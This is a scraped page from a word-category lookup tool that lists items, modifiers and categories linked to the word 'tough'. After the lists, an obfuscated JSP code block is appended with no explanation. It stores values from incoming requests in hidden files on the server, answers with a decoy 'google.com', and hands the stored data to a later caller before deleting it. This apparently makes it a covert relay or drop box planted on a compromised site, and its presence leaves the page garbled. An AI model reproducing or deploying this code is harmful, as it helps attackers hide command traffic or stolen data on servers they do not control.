Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Members for Fine-Grained Categories
tough_item
:
rubber,
metal,
glue,
soil,
wood,
sweet_potato,
cardboard,
tungsten,
stone,
aluminium,
rose,
fruit,
paint,
glass,
polyester,
insect_exoskeleton,
leaf,
fascia,
potato,
acrylic,
pillar,
linen,
pod_fig,
lipstick,
driveway,
nickel,
lobster,
construction,
tomato,
cement,
leather,
article,
fire,
rope,
shell,
tar,
steel,
floor_tile,
pinecone,
beam,
horse,
chitin,
vessel,
brass,
sleeve,
curtain,
vegetable,
crustacean,
aluminum,
toilet,
security,
foot,
sausage,
copper,
ink,
turtle_shell,
wool,
poultry,
pumpkin,
skin,
slate,
canvas,
horn,
stem,
part,
carrot,
building,
iron,
teeth,
television,
hair,
plaster,
tent,
broccoli,
bamboo,
fence,
apparel,
gum,
pvc,
nylon,
popcorn,
oil,
bean,
heart,
apple,
oven,
twig,
jean,
clay,
seed,
rag,
meat,
asphalt,
garage,
ceramics,
grease,
eggplant,
paper_stock,
umbrella,
hot_dog,
tree,
glasses,
chicken,
pea,
hands,
turnip,
vine,
truck,
hide,
kitchen,
tuna,
mold,
beef,
grill,
hedge,
grass,
lime,
concrete,
god,
stainless,
denim,
upholstery_fabric,
dirt,
bone,
bones,
marble,
cauliflower,
rock,
Modifiers matching
item
:
colourful,
harmless,
restrictive,
personal,
small,
bulky,
large,
wonderful,
dark,
unstable,
sumptuous,
textured,
communist,
several,
everyday,
decorative,
fried,
heavy,
expensive,
red,
stimulating,
legal,
casual,
motor,
diverse,
topical,
administrative,
normal,
graphic,
delicate,
valuable,
choice,
festive,
nontaxable,
succulent,
critical,
identifiable,
huge,
big,
biodegradable,
absorbent,
complimentary,
comforting,
efficient,
priceless,
dental,
replaceable,
heavier,
underground,
blunt,
movable,
ancillary,
restricted,
nonuniform,
interior,
sterile,
acoustic,
unwrapped,
handy,
transient,
modern,
nutritional,
transparent,
frozen,
catholic,
indispensable,
round,
uniform,
trivial,
outdoor,
superficial,
rare,
exclusive,
adjacent,
benthic,
clear,
warming,
soluble,
derogatory,
obsolete,
dressy,
korean,
cloisonne,
meaty,
cuddly,
undersized,
single,
special,
regulated,
collectable,
healing,
inspirational,
shiny,
non-fragile,
physical,
crisp,
roman,
grammatical,
sized,
lexical,
planned,
terrestrial,
electrical,
petty,
nonmetallic,
stretchy,
logistic,
scientific,
long,
authentic,
dangerous,
silver,
warm,
uncooked,
organic,
square,
opaque,
colored,
quantitative,
dehydrated,
fattening,
easy,
precautionary,
copyrighted,
radio,
wireless,
free,
vertical,
novel,
genuine,
ethnic,
edible,
archaeological,
fighting,
vital,
elongated,
jewish,
unpublished,
onetime,
hidden,
mythical,
sporting,
prepared,
rough,
aesthetic,
hazardous,
aromatic,
tender,
odd,
innocuous,
supplemental,
handwoven,
lasting,
exterior,
convenient,
italian,
static,
hot,
romantic,
sounding,
conceptual,
furry,
commonplace,
deadly,
recognisable,
harmful,
complex,
cosmetic,
luxurious,
crispy,
old,
fine,
inert,
narrow,
electronic,
ethnographic,
light,
photographic,
classical,
abundant,
dry,
fibrous,
nonstandard,
wholesome,
norse,
current,
attractive,
insignificant,
textual,
creative,
visible,
prestigious,
good,
greasy,
useless,
delectable,
common,
throwaway,
asian,
popular,
helpful,
graphical,
strategic,
basic,
stock,
nonporous,
concise,
stable,
usable,
domestic,
advanced,
successful,
flat,
exempt,
woody,
awkward,
evidentiary,
whole,
delicious,
worthless,
crucial,
weird,
specialized,
unexpected,
uninsurable,
intimate,
humble,
offer,
nonverbal,
trusted,
weather,
irritating,
sanitary,
woolen,
world,
primitive,
surplus,
extra,
perceptual,
flavorful,
adult,
indoor,
ferrous,
damp,
organizational,
cozy,
neutral,
banal,
new,
upright,
secondary,
messy,
relevant,
cool,
moving,
defined,
sensitive,
detailed,
extraneous,
lighter,
circular,
nonalcoholic,
private,
fatty,
nonfunctional,
accountable,
interesting,
damaging,
multiple,
alternative,
bound,
additional,
mexican,
newborn,
noncombustible,
archival,
royal,
indivisible,
tangible,
political,
refrigerated,
corrosive,
synthetic,
handheld,
sugary,
caloric,
wooden,
thoughtful,
bendable,
spectacular,
architectural,
loose,
prehistoric,
cartographic,
slim,
waterproof,
airborne,
pickled,
coarse,
hmong,
consumable,
little,
hard,
amber,
concrete,
medicinal,
smaller,
broken,
random,
navigational,
present,
incidental,
makeshift,
solid,
destructive,
blue,
masonic,
supplementary,
secure,
beautiful,
crumbly,
fast,
emotional,
male,
layer,
civilian,
irreplaceable,
profitable,
unclaimed,
magic,
inexpensive,
smooth,
abstract,
polished,
tough,
impervious,
protective,
rationed,
deleterious,
colorful,
inedible,
friendly,
toxic,
low,
massive,
varied,
extravagant,
educational,
dull,
academic,
nasty,
lucrative,
discrete,
moveable,
minor,
fossil,
auxiliary,
variable,
seasonal,
missing,
unbreakable,
disparate,
explosive,
literary,
irregular,
contemporary,
meaningful,
refined,
online,
main,
rental,
pleasant,
dietary,
official,
memorable,
geometrical,
out,
longitudinal,
exciting,
translucent,
judaic,
otc,
tasty,
chemical,
porous,
cheap,
philatelic,
southern,
promotional,
recyclable,
five,
explicit,
separate,
fragile,
stuffed,
home,
utilitarian,
social,
curved,
unwanted,
developed,
hostile,
european,
extensive,
humorous,
transitional,
happy,
edged,
cultural,
stranded,
secondhand,
wearable,
environmental,
beneficial,
traditional,
automotive,
contentious,
subtle,
ordered,
dried,
instant,
savory,
affordable,
biological,
salty,
clean,
palatable,
non-porous,
alluvial,
fitting,
worldly,
distinct,
magical,
permanent,
size,
immovable,
natural,
objective,
mundane,
extraordinary,
animal,
insurable,
freestanding,
ceremonial,
stationary,
prepackaged,
linear,
quick,
medical,
nonliving,
foreign,
fat,
unconventional,
artificial,
black,
plastic,
french,
written,
soft,
taller,
defensive,
sharp,
artifactual,
adequate,
buoyant,
logical,
ordinary,
english,
miscellaneous,
voluntary,
exposed,
incendiary,
treasured,
plush,
wholesale,
covered,
earthy,
prolific,
poisonous,
penetrating,
flexible,
moist,
uncontrollable,
up,
essential,
productive,
spanish,
regular,
fantastical,
quilted,
scented,
external,
industrial,
rounded,
elastic,
unyielding,
complete,
linguistic,
powdered,
tight,
nonflammable,
unused,
serious,
overweight,
pretty,
artistic,
limited,
manipulable,
inconsequential,
perishable,
inanimate,
international,
oversized,
amorphous,
available,
sticky,
abandoned,
metallic,
immaterial,
complementary,
friable,
resistant,
reparable,
unsightly,
commercial,
complicated,
sacred,
non-metal,
premium,
exceptional,
effective,
factual,
similar,
hollow,
constrictive,
subsurface,
nautical,
painted,
skinny,
noisy,
bigger,
heated,
useful,
prepaid,
nonmilitary,
sad,
native,
key,
kosher,
routine,
baked,
pleasurable,
motorized,
ancient,
wet,
botanical,
simple,
remaining,
distinctive,
sundry,
tall,
accessible,
ccc,
lethal,
finished,
orchestral,
herbal,
charming,
categorical,
symbolic,
tactical,
removable,
acidic,
curious,
familiar,
negative,
fluffy,
general,
surrounding,
corporate,
buddhist,
non-metallic,
dirty,
nutritious,
alert,
combustible,
marine,
fundamental,
high,
flashy,
geographical,
color,
slender,
unhealthy,
recreational,
innocent,
surgical,
favorite,
woven,
favourite,
humanitarian,
sturdy,
cumbersome,
difficult,
insoluble,
japanese,
abrasive,
elevated,
major,
overlooked,
sweetened,
temporary,
professional,
technological,
exotic,
sheetlike,
iron,
expressive,
taxable,
softer,
parallel,
standard,
sophisticated,
lovely,
vulnerable,
overhead,
musical,
rubbery,
sentimental,
non-biological,
flammable,
irish,
realistic,
african,
residential,
floating,
fabricated,
nonmagnetic,
fragrant,
non-written,
disposable,
powerful,
particular,
battered,
religious,
unusual,
significant,
looking,
salvageable,
sweet,
compressible,
lucky,
prickly,
restorative,
public,
subjective,
ceramic,
planar,
working,
collectible,
personalized,
patriotic,
threatening,
excess,
optical,
specified,
materialistic,
conductive,
suitable,
unprocessed,
handmade,
strong,
bronze,
peripheral,
western,
hygienic,
illegal,
woollen,
monolithic,
magnetic,
genealogical,
nonessential,
ephemeral,
dense,
washable,
spherical,
nonmetal,
american,
formal,
cylindrical,
savoury,
forgotten,
raw,
loud,
tailored,
archeological,
unfamiliar,
comfortable,
desirable,
antique,
postal,
smelly,
unimportant,
cute,
fancy,
historical,
communal,
enough,
theological,
whimsical,
empty,
side,
mystical,
underlying,
ecological,
collegiate,
internal,
elementary,
nonproductive,
sinkable,
scary,
agricultural,
medieval,
extreme,
electromechanical,
bland,
mild,
takeout,
symmetrical,
cold,
regional,
procedural,
floral,
mobile,
ballistic,
hardy,
active,
short,
digital,
rectangular,
informational,
stubborn,
thick,
nontraditional,
volatile,
pure,
oversize,
urban,
holy,
tubular,
visual,
portable,
inflatable,
leafy,
nearby,
spatial,
fruity,
healthy,
desired,
trim,
strange,
rigid,
homogeneous,
top,
skinned,
granular,
intricate,
iconic,
unique,
gold,
ornamental,
important,
nonkosher,
secular,
clinical,
christian,
celtic,
metal,
feminine,
elegant,
open,
costly,
invasive,
autographed,
unclean,
tiny,
lightweight,
precious,
real,
multifaceted,
fresh,
reflective,
reusable,
white,
monthly,
off,
practical,
lengthy,
outer,
published,
beaded,
unbound,
optional,
fanciful,
wacky,
local,
impure,
athletic,
needed,
invisible,
original,
pointed,
military,
structural,
resident,
greek,
historic,
manipulative,
firm,
mechanical,
refractory,
tart,
homemade,
diagnostic,
homespun,
conventional,
intoxicating,
valueless,
oblong,
interactive,
thin,
primary,
necessary,
plain,
liquid,
compact,
felted,
undesirable,
set,
expendable,
concentrated,
continuous,
nice,
shared,
individual,
tactile,
electric,
vietnamese,
elaborate,
non-durable,
unusable,
slippery,
durable,
fluid,
functional,
mathematical,
sexy,
safe,
macroscopic,
supporting,
tropical,
chic,
indian,
minute,
bibliographic,
chinese,
drawn,
inorganic,
yummy,
outside,
spare,
operational,
scottish,
calcareous,
larger,
related,
periodic,
discretionary,
spiritual,
fixed,
discarded,
sublimated,
unsavoury,
audiovisual,
technical,
dynamic,
over,
fantastic,
starchy,
analog,
typical,
manufactured,
Simple categories matching
tough
:
job,
item,
material,
stain,
fish,
animal,
sheet,
thing,
substance,
structure,
case,
solid,
surface,
food,
rock,
appendage,
issue,
part,
substrate,
vegetable,
subject,
shrub,
group,
fruit,
textile,
polymer,
tile,
area,
exercise,
meat,
soil,
annual,
metal,
location,
contaminant,
application,
resin,
seed,
plastic,
tissue,
workwear,
iron,
fiber,
toy,
stuff,
herb,
bronze,
junk,
decision,
fibre,
times,
veggie,
fabric,
state,
paper,
residue,
stone,
object,
alloy,
wood,
plant,
topic,
situation,
coating,
perennial,
leaf,
grass,
hide,
spice,
industry,
condition,
vine,
hardwood,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>